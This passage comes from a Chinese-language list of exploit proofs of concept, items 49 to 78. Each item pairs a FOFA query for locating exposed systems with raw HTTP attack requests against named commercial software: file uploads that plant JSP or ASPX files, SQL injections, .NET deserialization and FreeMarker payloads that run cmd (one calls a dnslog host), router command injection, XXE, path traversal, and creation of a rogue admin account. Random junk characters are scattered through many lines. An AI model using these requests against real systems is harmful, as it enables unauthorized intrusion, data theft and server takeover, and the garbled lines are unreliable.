Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 T" i& f& r' g' f; NAccept-Encoding: gzip, deflate
* x) i8 q1 M% |( t1 s( {& A2 MContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
1231
- M$ C- B; G4 M: L  r7 F# g: {7 @Content-Type: application/octet-stream
------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
, O! B( \5 R) i& r+ ]/ `, supload
------269520967239406871642430066855--


49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"

4 K; ^) Z( @/ V/ GPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
& \" X% x2 H6 G+ X" DHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
. H. U* D% f/ d+ n+ WContent-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9 N8 f9 ^9 z' t& H2 ~+ {9 yAccept-Encoding: gzip, deflate
3 x( h" b$ L) D* h5 bAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
9 c0 f2 R( R' }9 T' s0 Q
-----------------------------vvv3wdayqv3yppdxvn3w
) B' v& f1 i5 d0 x7 CContent-Disposition: form-data; name="file"; filename="%s.php "
8 S  o6 t0 q8 YContent-Type: application/octet-stream

wersqqmlumloqa
/ ^4 `3 A0 U$ P) M) U' a: a-----------------------------vvv3wdayqv3yppdxvn3w
2 D0 Z1 @$ T3 p7 EContent-Disposition: form-data; name="upload"
1 i1 |: f7 e5 j' ~; R
upload
: p/ Q, U7 T  y-----------------------------vvv3wdayqv3yppdxvn3w--
6 d5 V$ U8 x& N" [6 |

http://x.x.x.x/tmpfile/updB3CB.tmp.php
, Y' o1 b% J& L- q* b1 f/ P4 l" ?
50. QDocs Smart School 6.4.1 filterRecords SQL注入
. r4 X6 q, y5 jFOFA：body="close closebtnmodal"
. c0 m* ?3 _: ]# I) O, tPOST /course/filterRecords/ HTTP/1.1
3 {, I) w/ l4 b5 }7 l7 YHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
8 a# G  M/ X) C  G# oConnection: close
* A! f( ~4 E! Q& B8 |Content-Length: 224
Accept: */*
Accept-Language: en
; n# k6 C1 n' [9 A' oContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1


5 j, |$ |9 e7 s+ f* `( [51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
( [, i3 W% y/ w9 w2 |FOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
2 V1 D4 d5 ^# g# Y  cUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
' X) S1 ^4 m( O* N& ~/ rAccept-Language: zh-CN,zh;q=0.9
Connection: close
$ y' a7 _+ F3 _! i

! x) }  `3 k2 o' b; a3 O: w% G$ Q52. 泛微E-Office json_common.php sql注入
, V5 c) M5 f4 p( F9 O/ KFOFA：app="泛微-EOffice"
$ G) I; `; V7 aPOST /building/json_common.php HTTP/1.1
' Z( g6 h' o" n: }Host: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
7 ^0 ^6 L4 Z, c  D) v0 qConnection: close
9 n- m2 ?6 V, tContent-Length: 87
1 g2 N$ u$ v4 g! M9 gAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

8 o; j) s9 z* G2 [1 Q. I5 \8 Dtfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333

0 T0 T8 T7 X- R' |
1 R1 M* ?$ k; Z8 Q( E9 W53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd


54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
% Y; A% B8 ]/ K第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
% u3 I) u* a) Y7 s9 }"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"

8 g" ]' d2 c% I8 `& {
完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593
6 i) @, D3 j. ^. @& M& W
( K# Y4 Z) D5 J' B! D, s: x{
) k  r1 `, m- A' A- E8 q. Q"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
/ g7 }" [8 N; }    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
! |3 I/ R+ q4 Z7 ?/ ^: S    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
9 [+ B' y; D2 b; y. _; u    }
  }
  }
}
, p1 S" ~5 Y' Y0 A* a

第二步，访问如下url
! b6 A6 m( T4 R- p8 V/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
+ @; X9 E& m( o8 m. Q9 w

55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
' ]1 K% V8 |9 B0 q第二步，利用获取到的Cookie请求
+ {( d8 }1 X8 M/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
) d" F6 l8 y& G# ?0 |5 {
/ n8 x* P" t7 w2 [: G' Y+ A; p56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
( K# f4 p+ [! b+ Z6 O2 J- ePOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
) p. o+ o! ?. A' k6 VHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
' V2 \! y$ \3 E( l  nContent-Type: application/json

{
! {' y0 R% t; y. G! u$ L  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
& H' Y7 ^$ s  c. n5 s$ y   "MethodName":"Start",
    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
+ {( y4 g- L$ Z5 R1 z0 @        "StartInfo": {
6 n- I6 i* u- m% ^           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
" `" n7 N4 i7 n2 E% O, r$ A) t% y    }
  }
/ q% u. l+ B# a4 K; ^}

' s4 Y$ v4 V0 J0 B' u- V
: l1 {! K& N" g9 V& z5 c0 Z0 G- g57. 畅捷通T+ keyEdit.aspx SQL注入
) t( @& C* O0 A" o+ sFOFA：app="畅捷通-TPlus"
- \5 D5 q( _3 {5 }$ P( |7 N& IGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

; y! T. M* X9 \+ `) l  R2 q
1 @/ ?; b! D1 Z58. 畅捷通T+ KeyInfoList.aspx sql注入
  e1 @' T- y. ^: q+ ]FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
8 f6 K* G3 i" G' u5 ?4 V* uHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
6 `3 m8 K$ a7 x9 c4 S/ S' `Accept-Encoding: gzip, deflate
Connection: close


! H# e/ ^! ~% N- \$ X4 f9 ~59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
% n) \! `% O+ ]FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
" B7 {( y- e( O2 ~1 j2 {  j2 ^POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
  W  D- G, L  f3 _% H+ eHost: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Content-Length: 1669
2 I$ a; M2 J6 \0 BAccept: */*
: i3 Y1 `9 q3 D* I8 K7 pAccept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
. M4 i* T4 u1 v  S! S9 g
PAYLOAD
2 f+ i( F  K2 Z3 l7 J/ s

; w3 u$ n7 h4 }' y60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
$ W* D$ r0 C$ l9 h- `- L! gGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
2 c7 w' L1 k( N) G: X5 o& dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
. T  m# H" X* \, e- IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
9 {/ g3 m, d8 B# eAccept-Language: zh-CN,zh;q=0.9
Connection: close


61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
5 D! O+ B! A# v. Z  V* c$ N* XPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
' L% \) N7 n. [3 VHost: x.x.x.x
4 V# t3 }) _; y3 K6 M/ f; A, |& FUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 27
5 [; v, H# y6 l# e8 MAccept: */*
' R4 q( w; M7 g( K% oAccept-Encoding: gzip, deflate
6 O$ p9 i7 w& S5 P# S7 X' m9 }Accept-Language: en
Content-Type: application/x-www-form-urlencoded
9 w1 \1 A2 L( S  U# z9 q
& \* C, o# e7 Y& f8uxssX66eqrqtKObcVa0kid98xa
- q- b8 d$ ?5 @
6 `+ J0 k' m* z
62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

- {8 C) C4 ?- j: @  Q* y- _" d
访问

+ l. C; O. A7 e; tGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x


63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
4 b& r6 o4 L& A+ qFOFA：icon_hash="2030860561"
4 X; |7 h  g6 Y; X% V! i: m: KPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
' x( }7 `3 z/ t( B0 CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 ?9 Z9 n: i2 B& g3 h- P' n6 _% {Accept-Encoding: gzip, deflate
* k% {( r$ V6 Y# |0 D3 `) r% }Accept-Language: zh-CN,zh;q=0.9
! ?1 J: I/ h" j- {% BConnection: close
Content-Type: application/x-www-form-urlencoded
3 }' y& B  L/ z! [) t  z
path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
+ K; a9 Y4 \1 c, ^
+ e8 @! t- U" w! y64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
; f1 y' o3 R2 S! PPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
$ s* E8 q5 \/ f3 m6 xUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
# n- i* M0 O# _Connection: close
Content-Length: 369
4 J3 \  c: ~1 V, r5 TAccept: */*
* ^5 C& V( J7 n. j, mAccept-Language: en
Content-Type: text/xml; charset=utf-8
Accept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
! e4 ?4 p! S  P+ q2 {: y<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
, w- x, z5 a, T: [1 L2 {    </GetOSpById>
  </soap:Body>
</soap:Envelope>
5 F& @3 [: M2 H: i1 r, d$ z! l

65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
  D# G  t: m* G! m) G5 ]* ^& fHost:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
7 h% v7 X5 M3 j& I" v( m7 B. }Accept-Encoding: gzip, deflate
$ Y1 h( ]* @1 h6 o: p" LAccept: */*
) Z- g- w, g9 Q; f! V5 @/ cConnection: close
5 n3 J* t4 @' GAccept-Language: en
7 A2 w8 ~' I8 [& L( SContent-Length: 174

3 B6 @/ n; p' J& k3 A' v' l  {. coperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
- E0 |6 ~, U: U8 Z; w

! y% `& B( t& o2 m; j66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
) l: M3 N+ S' R. P( @2 F% |/ mFOFA：app="万户ezOFFICE协同管理平台"
" Y) O- u$ _( Z" B
GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
( S6 ^3 S& Z) a5 ^  K2 SAccept: */*
8 F' g$ O2 r9 x, g! OAccept-Language: en
; {' W) O- s% ?, X# U1 h' iAccept-Encoding: gzip
6 c  i( a+ [' d9 E  f8 o

第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

/ v0 I0 j! S0 K& R67. 万户ezOFFICE wpsservlet任意文件上传
/ L. l) ~8 Y$ ~$ I5 G% @FOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
9 s" x3 f( Z3 \2 q3 PHost: x.x.x.x
3 Y# l; L  b$ T3 O' D$ t2 {5 IUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
7 n. n5 ?2 f* r' K6 M7 JAccept-Encoding: gzip, deflate
- s) K  Q- h/ ZAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
! |, v0 N0 E! j+ z) P; aContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
Upgrade-Insecure-Requests: 1

% s4 h, @8 C( q--ufuadpxathqvxfqnuyuqaozvseiueerp
# q2 y/ i- [2 i3 ~# CContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

9 G8 c3 C! d& z/ R<% out.print("sasdfghjkj");%>
9 l5 _3 u3 r6 @( x! G! j4 o--ufuadpxathqvxfqnuyuqaozvseiueerp--

1 K  b8 e. n5 W. ^
, A& \6 D! n# x7 d1 n文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
. A" u+ _. k8 W  W/ b
2 O8 o5 v* [4 J4 z  S' x68. 万户ezOFFICE wf_printnum.jsp SQL注入
  @3 o/ q" ~0 H4 a7 V$ a8 IFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
' {! H6 W# y8 Z. X' g$ s; MAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
$ ]/ U3 y) D2 ]. qAccept-Encoding: gzip, deflate
  a6 K/ }6 d6 xAccept-Language: zh-CN,zh;q=0.9
Connection: close


2 s6 ?# k( ^2 Q* c3 h, ]69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
3 O# p" m& [" x& u! ~GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
' I, q0 D2 H# D/ p% r( L) P, ?Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
3 g* @! H, W6 P( SAccept: */*
Connection: keep-alive

, e' f  u6 l9 X" n0 {
70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
4 p6 e$ V7 J5 PContent-Type: application/x-www-form-urlencoded
& N4 E2 C+ \7 J: C, ~; STYPE: C
- u+ k1 o* |& e3 j( b! P9 w' XContent-Length: 16702
1 v) y- D0 e  H  X) |
__VIEWSTATE=PAYLOAD

6 h8 D& Q! {- [
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
+ }: W* V- B! n3 N& mFOFA：body="PM2项目管理系统BS版增强工具.zip"
" u7 {- x( M8 r3 N$ B7 _  _2 {GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
% e& K+ V6 k4 s' n  O0 b+ g* MHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
' m  G9 I( F: T4 U- qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
0 T3 y7 P, C$ W  s+ l* IAccept-Encoding: gzip, deflate
! c+ U, \' _: \& k4 n. eAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* {6 _1 l- i2 O$ |" T1 RUpgrade-Insecure-Requests: 1
$ x8 z" @  X3 [* T, k
4 V* ?) j, R2 `2 W
72. 致远OA getAjaxDataServlet XXE
' j0 Q7 L5 @0 d3 T) cFOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
0 \+ B3 W+ }/ j, {' W( Y6 rUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 583
Content-Type: application/x-www-form-urlencoded
( H" {# a! j' Y6 l: D7 _Accept-Encoding: gzip
6 ^  U' L, l1 z* O( z
7 u: N/ U+ Z9 |6 FS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
  D5 m0 O+ \9 x
) H7 l& R- j/ x( K" `$ M
6 [0 m( f  J! G( `. g1 X73. GeoServer wms远程代码执行
. [4 ]2 M  \1 v1 C- O, kFOFA：icon_hash=”97540678”
4 z' Z3 V# _9 ?/ \POST /geoserver/wms HTTP/1.1
. H- [, G9 m* r/ F( Y8 jHost:
8 p. k: E! m- I: M& B& p; m" m& OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
Accept-Encoding: gzip, deflate
3 |2 F: ^7 e4 \+ _Connection: close
Content-Type: application/xml
9 A# [( e7 P* @5 r8 O; HSL-CE-SUID: 3
- M& \/ m  [1 J1 H8 C, `
PAYLOAD
& l/ O3 U6 Y( O# M' N, `
8 s# Z% ], K) r4 h2 a
5 |% A# K& @2 K6 r2 p! A74. 致远M3-server 6_1sp1 反序列化RCE
0 u/ C- y4 p9 u0 @FOFA：title="M3-Server"
PAYLOAD

75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
& X* X1 A1 O" _7 Q# L. u* C4 U0 [FOFA：app="TELESQUARE-TLR-2005KSH"
* \4 W5 G& b& A4 s$ @" ?1 c! w$ gGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
' A) L+ o1 W) C1 C3 R- gHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
2 \- Q# Z9 j2 ]+ \Accept: */*
4 X; d6 _4 i. b" {. _Accept-Language: en
& U' f8 V- b; T$ V5 b( e- v( NAccept-Encoding: gzip
; U7 U9 K) K$ @. r5 m# z8 A: [  ]1 Y
5 E! Q, M" M( f% _! a. Z
GET /cgi-bin/test28256.txt HTTP/1.1
" M% \) |$ {; O8 }  NHost: x.x.x.x
7 v  |6 p0 Q+ T1 e

" V" p1 \4 e; s$ E3 Y+ I" w76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
' Y" _( T+ C: w3 `% X/ {- L0 [POST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
( `1 h! d" Z. P( F( I$ y! T# \2 }0 AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
& n2 \7 @. E/ T$ l7 |; \Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 D+ n6 D& Q4 D) |" G* a) `Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
% K! G8 E, L3 A0 V, ?7 i/ D
{
"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
6 N# I2 F2 T; t3 V}

! k8 C" _6 {" \- F" f' c" d5 |+ w
GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x



77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
; E+ v' r* ~. {0 v, [. nHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
% Y/ _( D& M8 u7 {5 c1 o1 hConnection: close
Content-Length: 433
Accept: */*
& o, K1 T, c7 U3 H( yAccept-Encoding: gzip, deflate
" g  W+ a7 `5 }' \# C& m. HAccept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"
- }6 N, J/ V* e8 s
8 w6 }0 O$ K7 P; f0 S5 D. w/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
' s/ f0 y2 q# ?8 n8 IContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
2 h5 v, R3 j  V- M$ hContent-Type: application/octet-stream

6 \7 r7 A' u( Q' ?, Y" mhello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
" N, {# r" |5 I! Y/ l, H  ?Content-Disposition: form-data; name="Upload"
8 x+ o3 Q/ d/ N3 b& {" J9 @' M' u
! k. z5 j: _# x3 m. A) ySubmit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--
9 t* F4 W2 h" n2 e+ S0 ^" @
5 j% O. v% m5 l; ~% J" X
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
! B( ~1 ^- P4 T  h% `FOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
